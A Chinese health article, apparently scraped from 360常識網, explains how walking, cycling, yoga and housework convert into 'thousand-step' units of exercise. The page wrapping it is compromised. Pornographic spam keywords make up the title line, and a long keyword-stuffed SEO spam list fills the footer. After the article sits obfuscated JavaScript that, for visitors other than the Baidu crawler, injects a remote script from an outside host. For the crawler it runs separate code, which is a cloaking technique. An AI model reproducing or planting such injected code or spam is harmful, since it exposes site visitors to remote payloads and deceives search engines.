久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

怎樣運(yùn)動(dòng)能夠健身呢?

2017-04-14 21:25:59  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:很多朋友認(rèn)為健身需要進(jìn)行一些比較專業(yè)的運(yùn)動(dòng)才能夠?qū)崿F(xiàn),比如在健身房接受專業(yè)教練的指導(dǎo),其實(shí),運(yùn)動(dòng)在我們的生活當(dāng)中種類是非常多的,即

很多朋友認(rèn)為健身需要進(jìn)行一些比較專業(yè)的運(yùn)動(dòng)才能夠?qū)崿F(xiàn),比如在健身房接受專業(yè)教練的指導(dǎo),其實(shí),運(yùn)動(dòng)在我們的生活當(dāng)中種類是非常多的,即使是在家里面做家務(wù)的時(shí)候也可以進(jìn)行一些運(yùn)動(dòng)而時(shí)間健身的目的。下面我們一起來了解平時(shí)都有哪些非常簡單的運(yùn)動(dòng)項(xiàng)目。

洗衣煮飯都可換算成運(yùn)動(dòng)量

衛(wèi)生部疾病控制局副局長孔靈芝在中國健康傳播大使聯(lián)盟成立會(huì)議上解釋,“日行萬步”是一個(gè)很多人都知道的健康目標(biāo),而要達(dá)到這個(gè)目標(biāo),首先要了解“1千步運(yùn)動(dòng)量”這個(gè)概念。“1千步運(yùn)動(dòng)量”在這里是一個(gè)衡量我們運(yùn)動(dòng)量的單位,相當(dāng)于以4千米/小時(shí)的速度步行1000步(約10分鐘)的活動(dòng)量。

“1千步運(yùn)動(dòng)量”不是一個(gè)花巧的概念,它可以變身為一把方便又實(shí)用的“尺子”,用來量度一段時(shí)間內(nèi)進(jìn)行某種活動(dòng)的運(yùn)動(dòng)量。這正是全民健康生活方式運(yùn)動(dòng)提出的活動(dòng)健身第一招——千步為尺。

有了統(tǒng)一的單位做基礎(chǔ),要達(dá)到“日行萬步”的目標(biāo)不再局限于步行,甚至一些不被看作是運(yùn)動(dòng)的活動(dòng),都可以通過這把“尺子”換算成若干個(gè)“1千步活動(dòng)量”。人們可以根據(jù)自己的時(shí)間安排和生活習(xí)慣,累計(jì)日常生活、工作、出行和運(yùn)動(dòng)等各種形式的活動(dòng),算出自己每天的活動(dòng)量相當(dāng)于多少個(gè)“1千步運(yùn)動(dòng)量”。

比如,以中等步速(4千米/小時(shí))走十分鐘相當(dāng)于完成了1千步的活動(dòng)量,而以慢速(3千米/小時(shí))在水平硬表面上行走,則要花20分鐘才能完成1千步運(yùn)動(dòng)量。另外,以大于16千米的時(shí)速騎自行車4分鐘也能完成1千步運(yùn)動(dòng)量。深受白領(lǐng)們歡迎的瑜伽、健身操分別只需要練習(xí)7分鐘和6分鐘就達(dá)到1千步運(yùn)動(dòng)量的效果。

洗盤子、熨燙衣物、做飯、掃地、看孩子等等家務(wù)活往往被認(rèn)為占去了人們的運(yùn)動(dòng)時(shí)間。讓家務(wù)纏身的爸爸媽媽們高興的是,現(xiàn)在他們可以借助這把“尺子”,通過簡單的換算把家務(wù)活也納入到每日運(yùn)動(dòng)量中。掃地8分鐘、煮飯13分鐘就相當(dāng)于步行1千步的運(yùn)動(dòng)量。

通過以上的介紹,我們會(huì)發(fā)現(xiàn)在我們的生活當(dāng)中,會(huì)存在著很多細(xì)微的健身運(yùn)動(dòng),他們雖然很簡單,但是只要是經(jīng)過我們長時(shí)間的堅(jiān)持,不僅僅會(huì)不會(huì)占用我們過多的時(shí)間,同時(shí),對(duì)于身體的健康還會(huì)非常有好處,能夠有效的預(yù)防各種疾病。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产一级免费在线观看 | 青草成人免费视频 | 久久99精品国产麻豆婷婷洗澡 | 日韩国产高清在线 | 免费av电影网站 | 黑人巨大精品欧美一区二区 | 狠狠的日 | 影音先锋国产 | 四虎一区二区 | 午夜视频在线观看免费视频 | 91av国产在线视频 | 国产区免费视频 | 青青草原国产在线 | 99久久免费看视频 | 欧美日韩不卡合集视频 | 色8久久 | 男女网站在线观看 | 久久er99热精品一区二区 | 国产一区二区不卡 | 91精品福利| 日韩和欧美的一区二区 | 亚洲一区二区视频在线观看 | 日韩视频在线观看一区 | 精品一区二区国产 | 欧美日韩专区 | 日韩视频精品 | 国产成人免费 | av网站有哪些 | 91精品国产一区二区 | 99精品国产热久久91蜜凸 | 超碰在线观看97 | 欧美亚洲免费 | 四虎永久网址 | 国产一区二区精品在线 | 欧美在线播放一区 | 久久九九这里只有精品 | 在线国产一区二区 | 国产美女高潮 | 国产精品二区一区 | 成人亚洲视频 | 99热在线精品免费 |